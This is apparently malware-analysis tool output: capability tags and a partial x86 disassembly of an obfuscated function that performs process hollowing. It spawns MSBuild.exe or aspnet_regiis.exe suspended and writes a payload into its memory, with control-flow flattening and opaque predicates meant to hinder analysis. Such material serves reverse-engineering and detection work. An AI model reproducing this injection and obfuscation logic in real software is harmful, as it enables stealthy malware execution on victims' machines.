Function at 0x10002a80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xec
mov eax, dword [0x10062200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xf4], 0xfe99833e
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf8], eax
sub eax, 0x81b92319
je 0x1000457d
jmp 0x10002abc
mov eax, dword [ebp - 0xf8]
sub eax, 0x82631bb9
je 0x1000511f
jmp 0x10002ad2
mov eax, dword [ebp - 0xf8]
sub eax, 0x82d03441
je 0x10004b45
jmp 0x10002ae8
mov eax, dword [ebp - 0xf8]
sub eax, 0x8a1aa38b
je 0x10003702
jmp 0x10002afe
mov eax, dword [ebp - 0xf8]
sub eax, 0x8acf79cb
je 0x10005065
jmp 0x10002b14
mov eax, dword [ebp - 0xf8]
sub eax, 0x92d635e0
je 0x1000499c
jmp 0x10002b2a
mov eax, dword [ebp - 0xf8]
sub eax, 0x933ed1fc
je 0x10004ac8
jmp 0x10002b40
mov eax, dword [ebp - 0xf8]
sub eax, 0x9957d159
je 0x10003753
jmp 0x10002b56
mov eax, dword [ebp - 0xf8]
sub eax, 0x9a66b5aa
je 0x10004832
jmp 0x10002b6c
mov eax, dword [ebp - 0xf8]
sub eax, 0x9fdca9b7
je 0x1000426a
jmp 0x10002b82
mov eax, dword [ebp - 0xf8]
sub eax, 0xa2874f7e
je 0x10003cc5
jmp 0x10002b98
mov eax, dword [ebp - 0xf8]
sub eax, 0xa3db2048
je 0x10003f78
jmp 0x10002bae
mov eax, dword [ebp - 0xf8]
sub eax, 0xa470eb1d
je 0x10003fd2
jmp 0x10002bc4
mov eax, dword [ebp - 0xf8]
sub eax, 0xa51ce3d1
je 0x10004c47
jmp 0x10002bda
mov eax, dword [ebp - 0xf8]
sub eax, 0xa62510ed
je 0x10004ec2
jmp 0x10002bf0
mov eax, dword [ebp - 0xf8]
sub eax, 0xa80f6b6f
je 0x100038fb
jmp 0x10002c06
mov eax, dword [ebp - 0xf8]
sub eax, 0xa8d6facf
je 0x1000526e
jmp 0x10002c1c
mov eax, dword [ebp - 0xf8]
sub eax, 0xa9966fe5
je 0x10004ca3
jmp 0x10002c32
mov eax, dword [ebp - 0xf8]
sub eax, 0xaac270c3
je 0x10005143
jmp 0x10002c48
mov eax, dword [ebp - 0xf8]
sub eax, 0xacccb334
je 0x100037fa
jmp 0x10002c5e
mov eax, dword [ebp - 0xf8]
sub eax, 0xacefcf0c
je 0x100042eb
jmp 0x10002c74
mov eax, dword [ebp - 0xf8]
sub eax, 0xad84141a
je 0x100042a2
jmp 0x10002c8a
mov eax, dword [ebp - 0xf8]
sub eax, 0xb0876030
je 0x1000466c
jmp 0x10002ca0
mov eax, dword [ebp - 0xf8]
sub eax, 0xb1d98871
je 0x1000361e
jmp 0x10002cb6
mov eax, dword [ebp - 0xf8]
sub eax, 0xb22ff967
je 0x1000518c
jmp 0x10002ccc
mov eax, dword [ebp - 0xf8]
sub eax, 0xb345e01b
je 0x10003870
jmp 0x10002ce2
mov eax, dword [ebp - 0xf8]
sub eax, 0xb39ee552
je 0x10003649
jmp 0x10002cf8
mov eax, dword [ebp - 0xf8]
sub eax, 0xb445b212
je 0x100042cb
jmp 0x10002d0e
mov eax, dword [ebp - 0xf8]
sub eax, 0xb9e8f0ca
je 0x1000467b
jmp 0x10002d24
mov eax, dword [ebp - 0xf8]
sub eax, 0xc1b54437
je 0x100038ec
jmp 0x10002d3a
mov eax, dword [ebp - 0xf8]
sub eax, 0xc9f5e2ea
je 0x10004ee0
jmp 0x10002d50
mov eax, dword [ebp - 0xf8]
sub eax, 0xcd30a0db
je 0x10003dc9
jmp 0x10002d66
mov eax, dword [ebp - 0xf8]
sub eax, 0xceed739f
je 0x100050db
jmp 0x10002d7c
mov eax, dword [ebp - 0xf8]
sub eax, 0xd4b08770
je 0x10003c47
jmp 0x10002d92
mov eax, dword [ebp - 0xf8]
sub eax, 0xd7fbf3c4
je 0x10003bf6
jmp 0x10002da8
mov eax, dword [ebp - 0xf8]
sub eax, 0xda3fd17e
je 0x10004605
jmp 0x10002dbe
mov eax, dword [ebp - 0xf8]
sub eax, 0xdb3088ae
je 0x100052a7
jmp 0x10002dd4
mov eax, dword [ebp - 0xf8]
sub eax, 0xde196df3
je 0x1000408a
jmp 0x10002dea
mov eax, dword [ebp - 0xf8]
sub eax, 0xde1b8c66
je 0x10003b29
jmp 0x10002e00
mov eax, dword [ebp - 0xf8]
sub eax, 0xde57ffbc
je 0x10004f2f
jmp 0x10002e16
mov eax, dword [ebp - 0xf8]
sub eax, 0xdef7c372
je 0x100045bc
jmp 0x10002e2c
mov eax, dword [ebp - 0xf8]
sub eax, 0xdf5fa488
je 0x100048e8
jmp 0x10002e42
mov eax, dword [ebp - 0xf8]
sub eax, 0xe15e77a1
je 0x10004361
jmp 0x10002e58
mov eax, dword [ebp - 0xf8]
sub eax, 0xeab63d8e
je 0x10004ad7
jmp 0x10002e6e
mov eax, dword [ebp - 0xf8]
sub eax, 0xec15ba2c
je 0x10004b99
jmp 0x10002e84
mov eax, dword [ebp - 0xf8]
sub eax, 0xec1e28d9
je 0x10003a90
jmp 0x10002e9a
mov eax, dword [ebp - 0xf8]
sub eax, 0xf03e19a3
je 0x100036a2
jmp 0x10002eb0
mov eax, dword [ebp - 0xf8]
sub eax, 0xf25cb3a3
je 0x100044fa
jmp 0x10002ec6
mov eax, dword [ebp - 0xf8]
sub eax, 0xf535313d
je 0x10003e9f
jmp 0x10002edc
mov eax, dword [ebp - 0xf8]
sub eax, 0xf5fe572c
je 0x10004ba8
jmp 0x10002ef2
mov eax, dword [ebp - 0xf8]
sub eax, 0xf6c18363
je 0x100039f6
jmp 0x10002f08
mov eax, dword [ebp - 0xf8]
sub eax, 0xf8f02888
je 0x1000525f
jmp 0x10002f1e
mov eax, dword [ebp - 0xf8]
sub eax, 0xf9845c95
je 0x100043b2
jmp 0x10002f34
mov eax, dword [ebp - 0xf8]
sub eax, 0xfb1a5aec
je 0x100047bc
jmp 0x10002f4a
mov eax, dword [ebp - 0xf8]
sub eax, 0xfdf1ed62
je 0x10003d3e
jmp 0x10002f60
mov eax, dword [ebp - 0xf8]
sub eax, 0xfe99833e
je 0x100034a3
jmp 0x10002f76
mov eax, dword [ebp - 0xf8]
sub eax, 0xf5e1b4
je 0x10004db3
jmp 0x10002f8c
mov eax, dword [ebp - 0xf8]
sub eax, 0x1453a41
je 0x10004288
jmp 0x10002fa2
mov eax, dword [ebp - 0xf8]
sub eax, 0x30a2aeb
je 0x1000520b
jmp 0x10002fb8
mov eax, dword [ebp - 0xf8]
sub eax, 0x55f522e
je 0x100043ea
jmp 0x10002fce
mov eax, dword [ebp - 0xf8]
sub eax, 0x73dd50b
je 0x100050ed
jmp 0x10002fe4
mov eax, dword [ebp - 0xf8]
sub eax, 0x8d8aae1
je 0x10004509
jmp 0x10002ffa
mov eax, dword [ebp - 0xf8]
sub eax, 0xadf78aa
je 0x100037d9
jmp 0x10003010
mov eax, dword [ebp - 0xf8]
sub eax, 0x10bb7195
je 0x10003fb4
jmp 0x10003026
mov eax, dword [ebp - 0xf8]
sub eax, 0x15022139
je 0x1000524a
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xe4], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xf4], 0x44f1a73b
jmp 0x100052cf
mov ecx, dword [ebp - 0x98]
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0xf4], 0xb39ee552
jmp 0x100052cf
mov edx, dword [ebp - 0x94]
mov eax, 0x5a660d9b
mov ecx, 0x43c0b810
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [ebp - 0xe0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100065a0
add esp, 0xc
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xdc]
mov byte [eax], cl
mov eax, dword [ebp - 0xd8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0x8a1aa38b
jmp 0x100052cf
mov eax, dword [0x10063538]
mov ecx, dword [0x10063534]
mov edx, eax
sub edx, 0xd882fcd7
sub edx, 1
add edx, 0xd882fcd7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x73dd50b
mov ecx, 0x9957d159
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [ebp - 0xdc]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x8d], al
mov ecx, dword [0x10063538]
mov eax, dword [0x10063534]
mov edx, ecx
sub edx, 0xe502af19
sub edx, 1
add edx, 0xe502af19
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x73dd50b
mov ecx, 0xadf78aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov dl, byte [ebp - 0x8d]
mov eax, 0xacccb334
mov ecx, 0xf6c18363
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov ecx, dword [0x10063538]
mov eax, dword [0x10063534]
mov edx, ecx
add edx, 0xdef74a24
sub edx, 1
sub edx, 0xdef74a24
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4504fc5b
mov ecx, 0xb345e01b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [ebp - 0xd8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov ecx, dword [0x10063538]
mov eax, dword [0x10063534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4504fc5b
mov ecx, 0xc1b54437
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov dword [ebp - 0xf4], 0xa80f6b6f
jmp 0x100052cf
mov ecx, dword [0x10063538]
mov eax, dword [0x10063534]
mov edx, ecx
add edx, 0xc1d0de3a
sub edx, 1
sub edx, 0xc1d0de3a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x82631bb9
mov ecx, 0x3260ffee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0xf4], 0x27ff9c52
jmp 0x100052cf
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0xf4], 0x4dcb64bd
jmp 0x100052cf
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002400
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
mov eax, dword [ebp - 0xe4]
mov esi, dword [eax]
mov eax, dword [ebp - 0xc8]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xe8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xe4]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0xd7fbf3c4
jmp 0x100052cf
mov eax, dword [0x10063538]
mov ecx, dword [0x10063534]
mov edx, eax
sub edx, 0x906e3ee1
sub edx, 1
add edx, 0x906e3ee1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7454ac07
mov ecx, 0xd4b08770
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [ebp - 0xd0]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x81], al
mov eax, dword [0x10063538]
mov ecx, dword [0x10063534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7454ac07
mov ecx, 0x7ae34de0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0xf4], 0x2a45e0e4
jmp 0x100052cf
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x7c]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [0x10063538]
mov ecx, dword [0x10063534]
mov edx, eax
add edx, 0x536224af
sub edx, 1
sub edx, 0x536224af
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaac270c3
mov ecx, 0xcd30a0db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov dword [ebp - 0xf4], 0x77a3c832
jmp 0x100052cf
mov eax, dword [0x10063538]
mov ecx, dword [0x10063534]
mov edx, eax
sub edx, 0xfb7b3ed7
sub edx, 1
add edx, 0xfb7b3ed7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb22ff967
mov ecx, 0x35e21141
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov dword [ebp - 0xf4], 0x5b0d0dee
jmp 0x100052cf
mov dl, byte [ebp - 0x71]
mov eax, 0xb445b212
mov ecx, 0xa470eb1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xb4]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0xd0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc4]
mov esi, dword [esi]
mov edi, dword [ebp - 0xb4]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
sub edx, 0xd9594be6
add edx, esi
add edx, 0xd9594be6
mov esi, dword [ebp - 0xe4]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xf4], 0xde196df3
jmp 0x100052cf
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x6c]
imul ecx, ecx, 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov edx, dword [ebp - 0x70]
mov eax, 0x79e1cb10
mov ecx, 0x5e936543
cmp edx, esi
cmovae eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov dword [ebp - 0xf4], 0x79e1cb10
jmp 0x100052cf
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0xf4], 0xad84141a
jmp 0x100052cf
mov ecx, dword [ebp - 0x50]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0x5b0d0dee
jmp 0x100052cf
mov eax, dword [ebp - 0xcc]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x49], al
mov dword [ebp - 0xf4], 0xacefcf0c
jmp 0x100052cf
mov ecx, dword [0x10063538]
mov eax, dword [0x10063534]
mov edx, ecx
add edx, 0xb578560e
sub edx, 1
sub edx, 0xb578560e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x30a2aeb
mov ecx, 0xe15e77a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [0x10063538]
mov ecx, dword [0x10063534]
mov edx, eax
sub edx, 0xf2cec828
sub edx, 1
add edx, 0xf2cec828
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x30a2aeb
mov ecx, 0xf9845c95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov dl, byte [ebp - 0x49]
mov eax, 0xf5e1b4
mov ecx, 0x63d44954
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xe8]
mov esi, dword [eax]
mov eax, 0xf5e1b4
mov ecx, 0x2d625b2c
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov dword [ebp - 0xf4], 0x8d8aae1
jmp 0x100052cf
mov dl, byte [ebp - 0x41]
mov eax, 0x3839e7e4
mov ecx, 0x44b20d21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov ecx, dword [ebp - 0x40]
sub ecx, 0x698ce4e4
sub ecx, eax
add ecx, 0x698ce4e4
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
mov dword [eax], 0
mov dword [ebp - 0xf4], 0xdef7c372
jmp 0x100052cf
mov eax, dword [0x10063538]
mov ecx, dword [0x10063534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x209bfceb
mov ecx, 0xda3fd17e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [0x10063538]
mov ecx, dword [0x10063534]
mov edx, eax
sub edx, 0xddb37e62
sub edx, 1
add edx, 0xddb37e62
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x209bfceb
mov ecx, 0xb0876030
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov dword [ebp - 0xf4], 0xb9e8f0ca
jmp 0x100052cf
mov ecx, dword [0x10063538]
mov eax, dword [0x10063534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x15022139
mov ecx, 0x280ba249
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov ecx, dword [0x10063538]
mov eax, dword [0x10063534]
mov edx, ecx
add edx, 0x870ab843
sub edx, 1
sub edx, 0x870ab843
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf8f02888
mov ecx, 0x9a66b5aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [0x10063538]
mov ecx, dword [0x10063534]
mov edx, eax
add edx, 0xc0a2d4d2
sub edx, 1
sub edx, 0xc0a2d4d2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8f02888
mov ecx, 0x47c040bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov ecx, dword [ebp - 0x2c]
mov edx, 0xffffffff
xor edx, 0xfff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0x30]
sub ecx, 0xc6aa8451
add ecx, eax
add ecx, 0xc6aa8451
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x9c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x618205b1
mov ecx, 0x4f894f71
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x9c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xf4], 0x618205b1
jmp 0x100052cf
mov dword [ebp - 0xf4], 0xeab63d8e
jmp 0x100052cf
mov ecx, dword [0x10063538]
mov eax, dword [0x10063534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4665b343
mov ecx, 0x82d03441
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [0x10063538]
mov ecx, dword [0x10063534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4665b343
mov ecx, 0xec15ba2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov dword [ebp - 0xf4], 0xf5fe572c
jmp 0x100052cf
mov ecx, dword [ebp - 0x24]
add ecx, 0x5c41c1dd
add ecx, 1
sub ecx, 0x5c41c1dd
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0xdef7c372
jmp 0x100052cf
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [0x10063538]
mov ecx, dword [0x10063534]
mov edx, eax
add edx, 0xb01f0055
sub edx, 1
